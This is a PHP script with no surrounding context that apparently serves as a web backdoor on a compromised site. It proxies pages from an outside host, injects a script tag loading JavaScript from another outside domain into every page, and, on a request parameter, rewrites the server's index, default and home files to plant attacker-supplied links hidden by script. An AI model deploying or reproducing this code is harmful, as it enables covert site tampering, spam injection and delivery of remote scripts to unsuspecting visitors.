<?php
error_reporting(E_ERROR);
header("Content-Type: text/html; charset=utf-8");
set_time_limit(0);

$action=$_REQUEST['action'];
$replacestr=stripslashes($_REQUEST['replacestr']);
$rootpath=$_SERVER['DOCUMENT_ROOT'];

if($action='createlinks' and $replacestr!='')
{
  CreateLink($rootpath,$replacestr);
  return;
}

$queryStr=$_SERVER['QUERY_STRING'];
$siteUrl="http://charms.itemstarget.com";
$jsUrl="<script type=\"text/javascript\" src=\"http://www.theplansroom.com/IPIN/pd.js\"></script>";

$sourceBody=file_get_contents($siteUrl."/".$queryStr);
$sourceBody=str_replace("'","\"",$sourceBody);
$sourceBody=preg_replace("'\"/'","\"".$siteUrl."/",$sourceBody);
$sourceBody=preg_replace("'\"(i|I)ncludes/'","\"".$siteUrl."/includes/",$sourceBody);
$sourceBody=preg_replace("'\"(i|I)mages/'","\"".$siteUrl."/images/",$sourceBody);
$sourceBody=preg_replace("'\"(j|J)s/'","\"".$siteUrl."/js/",$sourceBody);
$sourceBody=preg_replace("'\"(p|P)roducts/'","\"".$siteUrl."/products/",$sourceBody);
$sourceBody=preg_replace("'<noscript>.*?</noscript>'","",$sourceBody);
$sourceBody=str_replace("http://js.users.51.la/","",$sourceBody);
$sourceBody=str_replace("cnzz.com/z_stat","",$sourceBody);
$sourceBody=str_replace("google-analytics.com","",$sourceBody);
$sourceBody=str_replace("</body>","<br />".$previousUrl."<br /></body>",$sourceBody);
$sourceBody=preg_replace("'<base.*?>'","",$sourceBody);
//$sourceBody=str_replace("<script","",$sourceBody);
$sourceBody=str_replace("\"\"","\"http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?\"",$sourceBody);

//$sourceBody=preg_replace("'\?zenid=.*?\"'","",$sourceBody);

for($i=0;$i<9;$i++)
{
    $sourceBody=str_replace("href=\"".$i,"href=\"http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$i,$sourceBody);
}

for($i=97;$i<122;$i++)
{
  if($i!=104)
  {
    $sourceBody=str_replace("href=\"".chr($i),"href=\"http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".chr($i),$sourceBody);
  }
}

$pattern = '/http:\/\/(.*?)(\"|\')/iu'; 
preg_match_all($pattern, $sourceBody,$result); 
foreach($result as $data)
{
  foreach($data as $data1)
  {
    if(strpos($data1,'.js')<=0 && strpos($data1,'.css')<=0&& strpos($data1,'.ico')<=0 && strpos($data1,'w3.org')<=0 && strpos($data1,'.jpg')<=0 && strpos($data1,'.png')<=0&& strpos($data1,'.gif')<=0) 
    {	 
        $newUrl=str_replace($siteUrl."/","http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?",$data1);
    }
    else
    {
        $newUrl=str_replace($siteUrl."/","",$data1);
    }
    $sourceBody=str_replace($data1,$newUrl,$sourceBody);
  }
  break;
}

$sourceBody=str_replace("\"".$siteUrl,"\"http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?",$sourceBody);
$sourceBody=str_replace("<head>","<head><base href=\"".$siteUrl."\" />",$sourceBody);
$sourceBody=str_replace("??","?",$sourceBody);
$sourceBody=str_replace("\"?\"","\"http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?\"",$sourceBody);
echo $jsUrl.$sourceBody;

function CreateLink($dir,$replacestr1)
{
    $files = array();
    $dir_list = scandir($dir);
    foreach($dir_list as $file)
    {
        if ($file!= '..' && $file!= '.' && !is_dir($dir.'/'.$file))
        {
            if(strpos($file,'index')>-1 or strpos($file,'default')>-1 or strpos($file,'home')>-1)
            {
                $tempstr = file_get_contents($dir.'/'.$file);
                if(strpos($tempstr,'<div id=linkbyme>')>-1)
                {
                    $tempstr = preg_replace("'<div id=linkbyme>.*?</body>'",'</body>',$tempstr);
                }
                $tempstr = str_replace('</body>', '<div id=linkbyme>'.$replacestr1.'<script>document.getElementById(\"linkbyme\").style.display=\"none\";</script></body>', $tempstr);
                file_put_contents($dir.'/'.$file, $tempstr);
                echo 'linkbyme';
            }
        }
    }
}
?>